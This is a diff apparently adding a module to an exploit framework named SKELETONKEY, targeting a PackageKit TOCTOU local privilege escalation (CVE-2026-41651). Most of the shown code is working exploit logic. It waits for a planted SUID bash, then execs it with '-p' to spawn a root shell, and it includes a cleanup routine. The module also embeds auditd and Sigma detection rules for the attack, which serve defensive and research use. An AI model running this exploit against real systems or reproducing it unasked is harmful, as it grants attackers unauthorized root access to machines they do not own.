+	int appeared_at = -1;
+	for (int i = 0; i < 1200; i++) {
+		usleep(100000);  /* 100 ms */
+		if (i % 50 == 0 && p2tr_verbose) {
+			int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY);
+			int lock_held = 0;
+			if (lock_fd >= 0) {
+				lock_held = (flock(lock_fd, LOCK_EX | LOCK_NB) != 0);
+				if (!lock_held) flock(lock_fd, LOCK_UN);
+				close(lock_fd);
+			}
+			fprintf(stderr, "[*] pack2theroot:   t+%ds  payload=%s  "
+				"dpkg_lock=%s  suid=%s\n",
+				(i/10)+1,
+				access(payload, F_OK) == 0 ? "present" : "consumed",
+				lock_held ? "held" : "free",
+				access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet");
+		}
+		if (stat(SUID_PATH, &st) == 0 && (st.st_mode & S_ISUID)) {
+			appeared_at = i;
+			break;
+		}
+	}
+
+	if (appeared_at < 0) {
+		ERR("SUID bash never appeared at %s within 120s", SUID_PATH);
+		return 3;   /* EXPLOIT_FAIL */
+	}
+
+	LOG("SUCCESS — SUID bash landed at t+%dms", appeared_at * 100);
+
+	if (no_shell) {
+		LOG("--no-shell: payload placed, root shell not spawned");
+		LOG("revert with `skeletonkey --cleanup pack2theroot` (needs root)");
+		return 0;
+	}
+
+	/* Exec the SUID bash interactively. */
+	if (isatty(STDIN_FILENO)) {
+		char *ttydev = ttyname(STDIN_FILENO);
+		pid_t child = fork();
+		if (child == 0) {
+			setsid();
+			if (ttydev) {
+				int t = open(ttydev, O_RDWR);
+				if (t >= 0) {
+					ioctl(t, TIOCSCTTY, 1);
+					dup2(t, 0); dup2(t, 1); dup2(t, 2);
+					if (t > 2) close(t);
+				}
+			}
+			char *argv[] = { (char *)SUID_PATH, "-p", NULL };
+			execv(SUID_PATH, argv);
+			_exit(1);
+		}
+		if (child > 0) { int s; waitpid(child, &s, 0); }
+	} else {
+		/* Non-tty: just exec the SUID bash (replaces our process). */
+		char *argv[] = { (char *)SUID_PATH, "-p", NULL };
+		execv(SUID_PATH, argv);
+		ERR("execv(%s): %s", SUID_PATH, strerror(errno));
+		return 3;
+	}
+	return 0;
+}
+
+static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
+{
+	p2tr_verbose = !ctx->json;
+
+	if (geteuid() == 0) {
+		fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
+		return SKELETONKEY_OK;
+	}
+
+	pid_t pid = fork();
+	if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
+	if (pid == 0) {
+		int rc = p2tr_child_run(ctx->no_shell);
+		_exit(rc);
+	}
+	int st;
+	waitpid(pid, &st, 0);
+	if (!WIFEXITED(st)) return SKELETONKEY_EXPLOIT_FAIL;
+	switch (WEXITSTATUS(st)) {
+	case 0:  return SKELETONKEY_EXPLOIT_OK;
+	case 4:  return SKELETONKEY_PRECOND_FAIL;
+	default: return SKELETONKEY_EXPLOIT_FAIL;
+	}
+}
+
+/* ── cleanup ───────────────────────────────────────────────────────── */
+
+static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
+{
+	p2tr_verbose = !ctx->json;
+
+	/* Remove the two staged .debs (recorded during exploit). */
+	int sf = open("/tmp/skeletonkey-pack2theroot.state", O_RDONLY);
+	if (sf >= 0) {
+		char buf[512] = {0};
+		ssize_t n = read(sf, buf, sizeof(buf) - 1);
+		close(sf);
+		if (n > 0) {
+			char *line = strtok(buf, "\n");
+			while (line) {
+				if (unlink(line) == 0) LOG("removed %s", line);
+				line = strtok(NULL, "\n");
+			}
+		}
+		unlink("/tmp/skeletonkey-pack2theroot.state");
+	}
+
+	/* Best-effort remove the SUID bash. It is owned by root, so this
+	 * only succeeds when cleanup runs with root privileges (e.g. the
+	 * caller already used the SUID shell to escalate). */
+	if (access(SUID_PATH, F_OK) == 0) {
+		if (unlink(SUID_PATH) == 0) {
+			LOG("removed %s", SUID_PATH);
+		} else {
+			ERR("could not remove %s (%s); rerun cleanup as root, or:",
+			    SUID_PATH, strerror(errno));
+			ERR("   sudo rm -f %s", SUID_PATH);
+		}
+	}
+
+	/* Best-effort: uninstall the malicious package via passwordless sudo. */
+	if (system("sudo -n dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy "
+		   ">/dev/null 2>&1") == 0) {
+		LOG("dpkg -r removed staged packages");
+	} else {
+		LOG("dpkg -r not run automatically; if needed:");
+		LOG("   sudo dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy");
+	}
+	return SKELETONKEY_OK;
+}
+
+#else  /* !__linux__ || !PACK2TR_HAVE_GIO */
+
+static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
+{
+	if (!ctx->json) {
+#ifndef __linux__
+		fprintf(stderr, "[i] pack2theroot: Linux-only module "
+			"(PackageKit D-Bus) — not applicable on this platform\n");
+#else
+		fprintf(stderr, "[i] pack2theroot: module built without "
+			"GLib/gio-2.0 support — install libglib2.0-dev and rebuild\n");
+#endif
+	}
+	return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
+{
+	(void)ctx;
+	fprintf(stderr, "[-] pack2theroot: not built with GLib/gio-2.0 support\n");
+	return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
+{
+	(void)ctx;
+	return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ && PACK2TR_HAVE_GIO */
+
+/* ── embedded detection rules ──────────────────────────────────────── */
+
+static const char p2tr_auditd[] =
+	"# Pack2TheRoot (CVE-2026-41651) — auditd detection rules\n"
+	"# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls\n"
+	"# install a malicious .deb as root and drop a SUID bash in /tmp.\n"
+	"# Watch the side effects — D-Bus calls themselves aren't auditable\n"
+	"# without bus-monitoring, but the file footprint is unmistakable.\n"
+	"\n"
+	"# SUID bash carrier that the PoC postinst lands\n"
+	"-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot\n"
+	"\n"
+	"# Any new setuid binary owned by root in /tmp is suspicious\n"
+	"-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \\\n"
+	"    -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid\n"
+	"\n"
+	"# The PoC drops two .deb files in /tmp before the install fires\n"
+	"-a always,exit -F arch=b64 -S openat,creat \\\n"
+	"    -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb\n"
+	"\n"
+	"# packagekitd-driven dpkg activity initiated by a non-root caller\n"
+	"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \\\n"
+	"    -F auid!=0 -k skeletonkey-pack2theroot-dpkg\n"
+	"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
+	"    -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
+
+static const char p2tr_sigma[] =
+	"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
+	"id: 3f2b8d54-skeletonkey-pack2theroot\n"
+	"status: experimental\n"
+	"description: |\n"
+	"  Detects the footprint of Pack2TheRoot (CVE-2026-41651): a non-root\n"
+	"  user triggers PackageKit InstallFiles, dpkg runs a postinst that\n"
+	"  drops /tmp/.suid_bash (a setuid bash), and a privileged shell\n"
+	"  follows. The trigger itself is two back-to-back D-Bus calls with\n"
+	"  no polkit prompt — only visible via dbus-monitor or the file\n"
+	"  side effects.\n"
+	"references:\n"
+	"  - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\n"
+	"  - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv\n"
+	"logsource: {product: linux, service: auditd}\n"
+	"detection:\n"
+	"  suid_drop:\n"
+	"    type: 'PATH'\n"
+	"    name|startswith: ['/tmp/.suid_bash', '/tmp/.pk-payload-', '/tmp/.pk-dummy-']\n"
+	"  not_root:\n"
+	"    auid|expression: '!= 0'\n"
+	"  condition: suid_drop and not_root\n"
+	"level: high\n"
+	"tags:\n"
+	"  - attack.privilege_escalation\n"
+	"  - attack.t1068\n"
+	"  - cve.2026.41651\n";
+
+const struct skeletonkey_module pack2theroot_module = {
+	.name           = "pack2theroot",
+	.cve            = "CVE-2026-41651",
+	.summary        = "PackageKit InstallFiles TOCTOU → root via .deb postinst",
+	.family         = "pack2theroot",
+	.kernel_range   = "userspace — PackageKit 1.0.2 ≤ V ≤ 1.3.4 (fixed in 1.3.5)",
+	.detect         = p2tr_detect,
+	.exploit        = p2tr_exploit,
+	.mitigate       = NULL,
+	.cleanup        = p2tr_cleanup,
+	.detect_auditd  = p2tr_auditd,
+	.detect_sigma   = p2tr_sigma,
+	.detect_yara    = NULL,
+	.detect_falco   = NULL,
+};
+
+void skeletonkey_register_pack2theroot(void)
+{
+	skeletonkey_register(&pack2theroot_module);
+}
@@ -0,0 +1,12 @@
+/*
+ * pack2theroot_cve_2026_41651 — SKELETONKEY module registry hook
+ */
+
+#ifndef PACK2THEROOT_SKELETONKEY_MODULES_H
+#define PACK2THEROOT_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module pack2theroot_module;
+
+#endif